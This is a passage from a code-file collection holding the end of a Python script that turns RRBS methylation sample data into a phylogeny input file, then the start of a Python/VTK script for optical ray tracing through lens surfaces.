"RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.ACGTGG", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.ACTCAC", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.AGGATG", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.ATAGCG", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.ATCGAC", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.CATGAC", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.CCTTCG", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.CGGTAG", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.CTATTG", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.CTCAGC", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.GACACG", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.GCATTC", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.GCTGCC", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.GGCATC", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.GTGAGG", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.GTTGAG", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.TAGCGG", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.TATCTC", "RRBS_NormalBCD19pCD27pcell67_88_GCTACGCT.TCTCTG", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.ACAACC", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.ACCGCG", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.ACGTGG", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.ACTCAC", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.AGGATG", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.ATAGCG", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.ATCGAC", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.CAAGAG", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.CATGAC", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.CCTTCG", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.CGGTAG", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.CTATTG", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.CTCAGC", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.GACACG", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.GCATTC", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.GCTGCC", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.GGCATC", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.GTTGAG", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.TAGCGG", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.TATCTC", "RRBS_NormalBCD19pcell1_22_TAAGGCGA.TCTCTG", "RRBS_NormalBCD19pcell23_44_CGTACTAG.ACAACC", "RRBS_NormalBCD19pcell23_44_CGTACTAG.ACCGCG", "RRBS_NormalBCD19pcell23_44_CGTACTAG.ACGTGG", "RRBS_NormalBCD19pcell23_44_CGTACTAG.ACTCAC", "RRBS_NormalBCD19pcell23_44_CGTACTAG.AGGATG", "RRBS_NormalBCD19pcell23_44_CGTACTAG.ATAGCG", "RRBS_NormalBCD19pcell23_44_CGTACTAG.ATCGAC", "RRBS_NormalBCD19pcell23_44_CGTACTAG.CATGAC", "RRBS_NormalBCD19pcell23_44_CGTACTAG.CCTTCG", "RRBS_NormalBCD19pcell23_44_CGTACTAG.CGGTAG", "RRBS_NormalBCD19pcell23_44_CGTACTAG.CTATTG", "RRBS_NormalBCD19pcell23_44_CGTACTAG.CTCAGC", "RRBS_NormalBCD19pcell23_44_CGTACTAG.GACACG", "RRBS_NormalBCD19pcell23_44_CGTACTAG.GCATTC", "RRBS_NormalBCD19pcell23_44_CGTACTAG.GCTGCC", "RRBS_NormalBCD19pcell23_44_CGTACTAG.GGCATC", "RRBS_NormalBCD19pcell23_44_CGTACTAG.GTGAGG", "RRBS_NormalBCD19pcell23_44_CGTACTAG.TAGCGG", "RRBS_NormalBCD19pcell23_44_CGTACTAG.TATCTC", "RRBS_NormalBCD19pcell23_44_CGTACTAG.TCTCTG", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.ACAACC", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.ACCGCG", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.ACGTGG", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.ACTCAC", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.AGGATG", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.ATAGCG", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.ATCGAC", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.CAAGAG", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.CATGAC", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.CCTTCG", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.CGGTAG", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.CTATTG", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.CTCAGC", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.GACACG", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.GCATTC", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.GCTGCC", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.GGCATC", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.GTGAGG", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.GTTGAG", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.TAGCGG", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.TATCTC", "RRBS_NormalBCD19pcell45_66_AGGCAGAA.TCTCTG", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.ACAACC", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.ACCGCG", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.ACGTGG", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.ACTCAC", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.AGGATG", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.ATAGCG", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.ATCGAC", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.CAAGAG", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.CATGAC", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.CCTTCG", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.CGGTAG", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.CTATTG", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.CTCAGC", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.GCATTC", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.GCTGCC", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.GGCATC", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.GTGAGG", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.GTTGAG", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.TAGCGG", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.TATCTC", "RRBS_NormalBCD19pcell67_88_TCCTGAGC.TCTCTG", 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.ACAACC', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.ACCGCG', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.ACGTGG', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.ACTCAC', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.AGGATG', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.ATAGCG', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.ATCGAC', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.CAAGAG', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.CATGAC', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.CCTTCG', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.CGGTAG', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.CTCAGC', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.GACACG', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.GCATTC', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.GCTGCC', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.GGCATC', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.GTGAGG', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.TAGCGG', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.TATCTC', 'RRBS_cw154_CutSmart_proteinase_K_TAGGCATG.TCTCTG', 'RRBS_cw154_Tris_protease_CTCTCTAC.ACAACC', 'RRBS_cw154_Tris_protease_CTCTCTAC.ACCGCG', 'RRBS_cw154_Tris_protease_CTCTCTAC.ACGTGG', 'RRBS_cw154_Tris_protease_CTCTCTAC.ACTCAC', 'RRBS_cw154_Tris_protease_CTCTCTAC.AGGATG', 'RRBS_cw154_Tris_protease_CTCTCTAC.ATAGCG', 'RRBS_cw154_Tris_protease_CTCTCTAC.ATCGAC', 'RRBS_cw154_Tris_protease_CTCTCTAC.CATGAC', 'RRBS_cw154_Tris_protease_CTCTCTAC.CCTTCG', 'RRBS_cw154_Tris_protease_CTCTCTAC.CGGTAG', 'RRBS_cw154_Tris_protease_CTCTCTAC.CTATTG', 'RRBS_cw154_Tris_protease_CTCTCTAC.CTCAGC', 'RRBS_cw154_Tris_protease_CTCTCTAC.GACACG', 'RRBS_cw154_Tris_protease_CTCTCTAC.GCATTC', 'RRBS_cw154_Tris_protease_CTCTCTAC.GCTGCC', 'RRBS_cw154_Tris_protease_CTCTCTAC.GGCATC', 'RRBS_cw154_Tris_protease_CTCTCTAC.GTGAGG', 'RRBS_cw154_Tris_protease_CTCTCTAC.GTTGAG', 'RRBS_cw154_Tris_protease_CTCTCTAC.TAGCGG', 'RRBS_cw154_Tris_protease_CTCTCTAC.TATCTC', 'RRBS_cw154_Tris_protease_CTCTCTAC.TCTCTG', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.ACAACC', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.ACCGCG', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.ACGTGG', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.ACTCAC', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.AGGATG', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.ATAGCG', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.ATCGAC', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.CATGAC', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.CCTTCG', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.CGGTAG', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.CTATTG', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.CTCAGC', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.GACACG', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.GCATTC', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.GCTGCC', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.GGCATC', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.GTGAGG', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.GTTGAG', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.TAGCGG', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.TATCTC', 'RRBS_cw154_Tris_protease_GR_CAGAGAGG.TCTCTG', 'RRBS_trito_pool_1_TAAGGCGA.ACAACC', 'RRBS_trito_pool_1_TAAGGCGA.ACGTGG', 'RRBS_trito_pool_1_TAAGGCGA.ACTCAC', 'RRBS_trito_pool_1_TAAGGCGA.ATAGCG', 'RRBS_trito_pool_1_TAAGGCGA.ATCGAC', 'RRBS_trito_pool_1_TAAGGCGA.CAAGAG', 'RRBS_trito_pool_1_TAAGGCGA.CATGAC', 'RRBS_trito_pool_1_TAAGGCGA.CCTTCG', 'RRBS_trito_pool_1_TAAGGCGA.CGGTAG', 'RRBS_trito_pool_1_TAAGGCGA.CTATTG', 'RRBS_trito_pool_1_TAAGGCGA.GACACG', 'RRBS_trito_pool_1_TAAGGCGA.GCATTC', 'RRBS_trito_pool_1_TAAGGCGA.GCTGCC', 'RRBS_trito_pool_1_TAAGGCGA.GGCATC', 'RRBS_trito_pool_1_TAAGGCGA.GTGAGG', 'RRBS_trito_pool_1_TAAGGCGA.GTTGAG', 'RRBS_trito_pool_1_TAAGGCGA.TAGCGG', 'RRBS_trito_pool_1_TAAGGCGA.TATCTC', 'RRBS_trito_pool_1_TAAGGCGA.TCTCTG', 'RRBS_trito_pool_1_TAAGGCGA.TGACAG', 'RRBS_trito_pool_1_TAAGGCGA.TGCTGC', 'RRBS_trito_pool_2_CGTACTAG.ACAACC', 'RRBS_trito_pool_2_CGTACTAG.ACGTGG', 'RRBS_trito_pool_2_CGTACTAG.ACTCAC', 'RRBS_trito_pool_2_CGTACTAG.AGGATG', 'RRBS_trito_pool_2_CGTACTAG.ATAGCG', 'RRBS_trito_pool_2_CGTACTAG.ATCGAC', 'RRBS_trito_pool_2_CGTACTAG.CAAGAG', 'RRBS_trito_pool_2_CGTACTAG.CATGAC', 'RRBS_trito_pool_2_CGTACTAG.CCTTCG', 'RRBS_trito_pool_2_CGTACTAG.CGGTAG', 'RRBS_trito_pool_2_CGTACTAG.CTATTG', 'RRBS_trito_pool_2_CGTACTAG.GACACG', 'RRBS_trito_pool_2_CGTACTAG.GCATTC', 'RRBS_trito_pool_2_CGTACTAG.GCTGCC', 'RRBS_trito_pool_2_CGTACTAG.GGCATC', 'RRBS_trito_pool_2_CGTACTAG.GTGAGG', 'RRBS_trito_pool_2_CGTACTAG.GTTGAG', 'RRBS_trito_pool_2_CGTACTAG.TAGCGG', 'RRBS_trito_pool_2_CGTACTAG.TATCTC', 'RRBS_trito_pool_2_CGTACTAG.TCTCTG', 'RRBS_trito_pool_2_CGTACTAG.TGACAG'] print(total_matrix.shape) total_matrix = total_matrix.applymap(lambda x: int(x) if pd.notnull(x) else str("?")) total_matrix = total_matrix.astype(str).apply(''.join) tott = pd.Series(total_matrix.index.astype(str).str.cat(total_matrix.astype(str),' ')) tott.to_csv("total_chrom8.phy", header=None, index=None) print(tott.shape)
evanbiederstedt/RRBSfun
trees/chrom_scripts/total_chr08.py
Python
mit
32,997
[ "MCell" ]
82fb9b406fceccebbf444b82b0114940a78ffc91edb09d2ef330fda1b43b600c
# -*- coding: utf-8 -*- """ Preliminary code for ray tracing with Python and VTK Thanks to https://pyscience.wordpress.com/2014/10/05/from-ray-casting-to-ray-tracing-with-python-and-vtk/ In order to proceed, you will have to exit the renderwindow, it is waiting for your input. @author: Adamos Kyriokou, Jaap Verheggen, Guillaume Jacquenot """ import vtk import numpy as np import matplotlib.pyplot as plt RayCastLength = 2000 ColorRay = [1.0, 1.0, 0.0] ColorRayMiss = [1.0, 1.0, 1.0] def addPoint(ren, p, color=(0.0, 0.0, 0.0), radius=0.2): point = vtk.vtkSphereSource() point.SetCenter(p) point.SetRadius(radius) point.SetPhiResolution(100) point.SetThetaResolution(100) # Map point mapper = vtk.vtkPolyDataMapper() mapper.SetInputConnection(point.GetOutputPort()) # Set actor for point actor = vtk.vtkActor() actor.SetMapper(mapper) actor.GetProperty().SetColor(color) # Draw point in renderer ren.AddActor(actor) def addLine(ren, appendFilter, p1, p2, color=(0.0, 0.0, 1.0), opacity=1.0): line = vtk.vtkLineSource() line.SetPoint1(p1) line.SetPoint2(p2) mapper = vtk.vtkPolyDataMapper() mapper.SetInputConnection(line.GetOutputPort()) actor = vtk.vtkActor() actor.SetMapper(mapper) actor.GetProperty().SetColor(color) actor.GetProperty().SetOpacity(opacity) actor.GetProperty() ren.AddActor(actor) if vtk.VTK_MAJOR_VERSION < 6: appendFilter.AddInput(line.GetOutput()) else: appendFilter.AddInputData(line.GetOutput()) appendFilter.Update() def isHit(obbTree, pSource, pTarget): """Returns True if the line intersects with the mesh in 'obbTree'""" code = obbTree.IntersectWithLine(pSource, pTarget, None, None) if code == 0: return False return True def getIntersect(obbTree, pSource, pTarget): # Create an empty 'vtkPoints' object to store the intersection point coordinates points = vtk.vtkPoints() points.SetDataTypeToDouble() # Create an empty 'vtkIdList' object to store the ids of the cells that intersect # with the cast rays cellIds = vtk.vtkIdList() # Perform intersection code = obbTree.IntersectWithLine(pSource, pTarget, points, cellIds) assert code != 0 # Get point-data pointData = points.GetData() # Get number of intersection points found noPoints = pointData.GetNumberOfTuples() # Get number of intersected cell ids noIds = cellIds.GetNumberOfIds() assert noPoints == noIds assert noPoints > 0 # Loop through the found points and cells and store # them in lists pointsInter = [] cellIdsInter = [] for idx in range(noPoints): pointsInter.append(pointData.GetTuple3(idx)) cellIdsInter.append(cellIds.GetId(idx)) return pointsInter, cellIdsInter def calcVecReflect(vecInc, vecNor): ''' http://graphics.stanford.edu/courses/cs148-10-summer/docs/2006--degreve--reflection_refraction.pdf Vector reflect(const Vector& normal, const Vactor& incident) { const double cosI = -dot(normal, incident); return incident + 2 * cosI * normal; } ''' vecInc = np.asarray(vecInc) vecNor = np.asarray(vecNor) cosI = -np.dot(vecNor, vecInc) vecRef = vecInc + 2 * cosI * vecNor return list(vecRef) def calcVecRefract(vecInc, vecNor, n1=1.0, n2=1.33): ''' http://graphics.stanford.edu/courses/cs148-10-summer/docs/2006--degreve--reflection_refraction.pdf Vector refract(Const Vector& normal, const Vector& incident, double n1, double n2) { const double n = n1/n2; const double cosI = -dot(normal, incident) const double sinT2 = n*n*(1.0-cosI*cosI); if (sinT2 > 1.0) return Vactor::invalid; //TIR const double cosT = sqrt(1.0 - sinT2); return n * incident + (n * cosI - cosT) * normal; } n1 = first medium, n2 is second medium ''' n = n1 / n2 vecInc = np.asarray(vecInc) vecNor = np.asarray(vecNor) cosI = -np.dot(vecNor, vecInc) sinT2 = n**2 * (1 - cosI**2) assert sinT2 < 1.0 if sinT2 < 1.0: cosT = np.sqrt(1.0 - sinT2) vecRef = n * vecInc + (n * cosI - cosT) * vecNor return list(vecRef) else: return 'blah' def vtkspheresource(ren, appendFilter, srf): # Create and configure sphere, radius is focalpoint location = [0.0, 0.0, 0.0] # It's the source, so location is zero startendtheta = 180 * np.arcsin(0.5 * srf['diam'] / srf['fp']) / np.pi print(startendtheta) sphere = vtk.vtkSphereSource() sphere.SetCenter(location) sphere.SetRadius(srf['fp']) sphere.SetThetaResolution(srf['resolution'] * 3) sphere.SetPhiResolution(srf['resolution']) # sphere.SetStartTheta(90-startendtheta) # create partial sphere # sphere.SetEndTheta(90+startendtheta) sphere.SetStartPhi(180 - startendtheta) # create partial sphere sphere.SetEndPhi(180) # Rotate and move such that the source goes through 0,0,0 and is oriented along the z axis transform = vtk.vtkTransform() transform.RotateWXYZ(180, 1, 0, 0) transform.Translate(0.0, 0.0, srf['fp']) transformFilter = vtk.vtkTransformPolyDataFilter() transformFilter.SetTransform(transform) transformFilter.SetInputConnection(sphere.GetOutputPort()) transformFilter.Update() # Create mapper and set the mapped texture as input mapperSphere = vtk.vtkPolyDataMapper() if vtk.VTK_MAJOR_VERSION < 6: mapperSphere.SetInput(transformFilter.GetOutput()) else: mapperSphere.SetInputData(transformFilter.GetOutput()) # Create actor and set the mapper and the texture actorSphere = vtk.vtkActor() actorSphere.SetMapper(mapperSphere) actorSphere.GetProperty().SetColor([1.0, 0.0, 0.0]) # set color to yellow actorSphere.GetProperty().EdgeVisibilityOn() # show edges/wireframe actorSphere.GetProperty().SetEdgeColor([0.0, 0.0, 0.0]) # render edges as white # Create points cellCenterCalcSource = vtk.vtkCellCenters() if vtk.VTK_MAJOR_VERSION < 6: cellCenterCalcSource.SetInput(transformFilter.GetOutput()) else: cellCenterCalcSource.SetInputData(transformFilter.GetOutput()) cellCenterCalcSource.Update() # Get the point centers from 'cellCenterCalc' pointsCellCentersSource = cellCenterCalcSource.GetOutput(0) # dummy point container normal_points = vtk.vtkPoints() # Loop through all point centers and add a point-actor through 'addPoint' for idx in range(pointsCellCentersSource.GetNumberOfPoints()): addPoint(ren, pointsCellCentersSource.GetPoint(idx), [1.0, 1.0, 0.0]) normal_points.InsertNextPoint(pointsCellCentersSource.GetPoint(idx)) # Create a new 'vtkPolyDataNormals' and connect to the 'Source' half-sphere normalsCalcSource = vtk.vtkPolyDataNormals() normalsCalcSource.SetInputConnection(transformFilter.GetOutputPort()) # Disable normal calculation at cell vertices normalsCalcSource.ComputePointNormalsOff() # Enable normal calculation at cell centers normalsCalcSource.ComputeCellNormalsOn() # Disable splitting of sharp edges normalsCalcSource.SplittingOff() # Disable global flipping of normal orientation normalsCalcSource.FlipNormalsOff() # Enable automatic determination of correct normal orientation normalsCalcSource.AutoOrientNormalsOn() # Perform calculation normalsCalcSource.Update() '''# Test glyphs, turned off for now glyphsa = glyphnormals(refract_polydata) ren.AddActor(glyphsa)''' # Plot and save ren.AddActor(actorSphere) if vtk.VTK_MAJOR_VERSION < 6: appendFilter.AddInput(transformFilter.GetOutput()) else: appendFilter.AddInputData(transformFilter.GetOutput()) appendFilter.Update() # set camera properties camera = ren.MakeCamera() camera.SetPosition(-100, 100, 100) camera.SetFocalPoint(0.0, 0.0, 0.0) camera.SetViewAngle(30.0) ren.SetActiveCamera(camera) return transformFilter, normal_points, normalsCalcSource def glyphnormals(ren, normals): # this doesn't work, it will always go to the normal dummy_cellCenterCalcSource = vtk.vtkCellCenters() dummy_cellCenterCalcSource.VertexCellsOn() dummy_cellCenterCalcSource.SetInputConnection(normals.GetOutputPort()) # Create a new 'default' arrow to use as a glyph arrow = vtk.vtkArrowSource() # Create a new 'vtkGlyph3D' glyphSource = vtk.vtkGlyph3D() # Set its 'input' as the cell-center normals calculated at the Source's cells glyphSource.SetInputConnection(dummy_cellCenterCalcSource.GetOutputPort()) # Set its 'source', i.e., the glyph object, as the 'arrow' glyphSource.SetSourceConnection(arrow.GetOutputPort()) # Enforce usage of normals for orientation glyphSource.SetVectorModeToUseNormal() # Set scale for the arrow object glyphSource.SetScaleFactor(1) # Create a mapper for all the arrow-glyphs glyphMapperSource = vtk.vtkPolyDataMapper() glyphMapperSource.SetInputConnection(glyphSource.GetOutputPort()) # Create an actor for the arrow-glyphs glyphActorSource = vtk.vtkActor() glyphActorSource.SetMapper(glyphMapperSource) glyphActorSource.GetProperty().SetColor([1.0, 1.0, 0.0]) # Add actor ren.AddActor(glyphActorSource) def glyphs(cells): # Visualize normals as done previously but using refracted or reflected cells arrow = vtk.vtkArrowSource() glyphCell = vtk.vtkGlyph3D() if vtk.VTK_MAJOR_VERSION < 6: glyphCell.SetInput(cells) else: glyphCell.SetInputData(cells) glyphCell.SetSourceConnection(arrow.GetOutputPort()) glyphCell.SetVectorModeToUseNormal() glyphCell.SetScaleFactor(1) glyphMapperCell = vtk.vtkPolyDataMapper() glyphMapperCell.SetInputConnection(glyphCell.GetOutputPort()) glyphActorCell = vtk.vtkActor() glyphActorCell.SetMapper(glyphMapperCell) glyphActorCell.GetProperty().SetColor([1.0, 1.0, 1.0]) return glyphActorCell def vtklenssurface(ren, appendFilter, srf): phi = 180 * np.arcsin(0.5 * srf['diam'] / srf['fp']) / np.pi lensA = vtk.vtkSphereSource() lensA.SetCenter(0.0, 0.0, 0.0) # we will move it later lensA.SetThetaResolution(100) lensA.SetPhiResolution(20) lensA.SetRadius(srf['fp']) lensA.SetStartPhi(180 - phi) # create partial sphere lensA.SetEndPhi(180) # Transform transform = vtk.vtkTransform() if srf['curv'] == 'positive': location = srf['location'][:] location[2] = srf['location'][2] + srf['fp'] # if I want the location exactly, h=R-np.sqrt(R**2-(w/2)**2) transform.Translate(location) print(location) print(srf['location']) elif srf['curv'] == 'negative': # Transform transform.RotateWXYZ(180, 1, 0, 0) lensBt = vtk.vtkTransformPolyDataFilter() lensBt.SetTransform(transform) lensBt.SetInputConnection(lensA.GetOutputPort()) lensBt.Update() location = srf['location'][:] location[2] = srf['location'][2] - srf['fp'] # if I want the location exactly, h=R-np.sqrt(R**2-(w/2)**2) lensA = lensBt transform = vtk.vtkTransform() # redfine transform transform.Translate(location) print(location) print(srf['location']) else: print("not negative or positive") lensAt = vtk.vtkTransformPolyDataFilter() lensAt.SetTransform(transform) lensAt.SetInputConnection(lensA.GetOutputPort()) lensAt.Update() # Map lensAm = vtk.vtkPolyDataMapper() if vtk.VTK_MAJOR_VERSION < 6: lensAm.SetInput(lensAt.GetOutput()) else: lensAm.SetInputData(lensAt.GetOutput()) # Create actor lensAa = vtk.vtkActor() lensAa.SetMapper(lensAm) lensAa.GetProperty().SetColor([0.0, 0.0, 1.0]) # set color to yellow lensAa.GetProperty().EdgeVisibilityOn() # show edges/wireframe lensAa.GetProperty().SetEdgeColor([1.0, 1.0, 1.0]) # render edges as white # Plot and save ren.AddActor(lensAa) if vtk.VTK_MAJOR_VERSION < 6: appendFilter.AddInput(lensAt.GetOutput()) else: appendFilter.AddInputData(lensAt.GetOutput()) appendFilter.Update() # set camera properties camera = ren.MakeCamera() camera.SetPosition(-100, 100, 100) camera.SetFocalPoint(location) camera.SetViewAngle(30.0) ren.SetActiveCamera(camera) return lensAt def vtkscreen(ren, appendFilter, screen): # Create a pentagon flat = vtk.vtkRegularPolygonSource() # polygonSource.GeneratePolygonOff() flat.SetNumberOfSides(4) flat.SetRadius(screen['width']) flat.SetCenter(screen['center']) flat.Update() # Create mapper and set the mapped texture as input flatm = vtk.vtkPolyDataMapper() flatm.SetInputConnection(flat.GetOutputPort()) flata = vtk.vtkActor() # Create actor and set the mapper and the texture flata.SetMapper(flatm) flata.GetProperty().SetColor([0.3, 0.3, 0.3]) # set color to grey flata.GetProperty().EdgeVisibilityOn() # show edges/wireframe flata.GetProperty().SetEdgeColor([1.0, 1.0, 1.0]) # render edges as white # Plot and save ren.AddActor(flata) if vtk.VTK_MAJOR_VERSION < 6: appendFilter.AddInput(flat.GetOutput()) else: appendFilter.AddInputData(flat.GetOutput()) appendFilter.Update() # set camera properties camera = ren.MakeCamera() camera.SetPosition(-100, 100, 100) camera.SetFocalPoint(screen['center']) camera.SetViewAngle(30.0) ren.SetActiveCamera(camera) return flat def refract(ren, appendFilter, surface1, surface2): # get info for rays, they go through the mesh nodes. surf2 = surface2['surface'] # normalsSource = normalsCalcSource.GetOutput().GetCellData().GetNormals() pointsCellCentersSurf1 = surface1['normalpoints'] if 'refractcells' in surface1: # technically it is a bit weird that you have to specify which vectors are the right ones normalsCalcSurf1 = surface1['refractcells'] # vectors of refracted rays normalsSurf1 = normalsCalcSurf1.GetPointData().GetNormals() elif 'refractcells' not in surface1 and 'normalcells' in surface1: normalsCalcSurf1 = surface1['normalcells'] # vectors of normal rays normalsSurf1 = normalsCalcSurf1.GetOutput().GetCellData().GetNormals() else: print("problem in surface 1 input parameters function refract") # If 'points' and 'source' are known, then use these. # They have to be known, otherwise the wrong order is used. So skip # prepare for raytracing obbsurf2 = vtk.vtkOBBTree() obbsurf2.SetDataSet(surf2.GetOutput()) obbsurf2.BuildLocator() # Create a new 'vtkPolyDataNormals' and connect to the target surface normalsCalcSurf2 = vtk.vtkPolyDataNormals() normalsCalcSurf2.SetInputConnection(surf2.GetOutputPort()) # Disable normal calculation at cell vertices normalsCalcSurf2.ComputePointNormalsOff() # Enable normal calculation at cell centers normalsCalcSurf2.ComputeCellNormalsOn() # Disable splitting of sharp edges normalsCalcSurf2.SplittingOff() # Disable global flipping of normal orientation for negative curvature if 'curv' in surface2: if surface2['curv'] is 'positive': normalsCalcSurf2.FlipNormalsOff() elif surface2['curv'] is 'negative': normalsCalcSurf2.FlipNormalsOn() else: print("Problem in surface 2 input parameter curve, function refract") # Enable automatic determination of correct normal orientation normalsCalcSurf2.AutoOrientNormalsOn() # Perform calculation normalsCalcSurf2.Update() # Extract the normal-vector data at the target surface normalsSurf2 = normalsCalcSurf2.GetOutput().GetCellData().GetNormals() # where intersections are found intersection_points = vtk.vtkPoints() # vectors where intersections are found normal_vectors = vtk.vtkDoubleArray() normal_vectors.SetNumberOfComponents(3) # normals of refracted vectors refract_vectors = vtk.vtkDoubleArray() refract_vectors.SetNumberOfComponents(3) refract_polydata = vtk.vtkPolyData() # Loop through all of Source's cell-centers for idx in range(pointsCellCentersSurf1.GetNumberOfPoints()): # Get coordinates of Source's cell center pointSurf1 = pointsCellCentersSurf1.GetPoint(idx) # Get normal vector at that cell normalsurf1 = normalsSurf1.GetTuple(idx) # Calculate the 'target' of the ray based on 'RayCastLength' pointRaySurf2 = list(np.asarray(pointSurf1) + RayCastLength * np.asarray(normalsurf1)) # Check if there are any intersections for the given ray if isHit(obbsurf2, pointSurf1, pointRaySurf2): # Retrieve coordinates of intersection points and intersected cell ids pointsInter, cellIdsInter = getIntersect(obbsurf2, pointSurf1, pointRaySurf2) # Render lines/rays emanating from the Source. Rays that intersect are addLine(ren, appendFilter, pointSurf1, pointsInter[0], ColorRay, opacity=0.25) # Render intersection points addPoint(ren, pointsInter[0], ColorRay) # Get the normal vector at the surf2 cell that intersected with the ray normalsurf2 = normalsSurf2.GetTuple(cellIdsInter[0]) # Insert the coordinates of the intersection point in the dummy container intersection_points.InsertNextPoint(pointsInter[0]) # Insert the normal vector of the intersection cell in the dummy container normal_vectors.InsertNextTuple(normalsurf2) # Calculate the incident ray vector vecInc = list(np.asarray(pointRaySurf2) - np.asarray(pointSurf1)) # Calculate the reflected ray vector # vecRef = 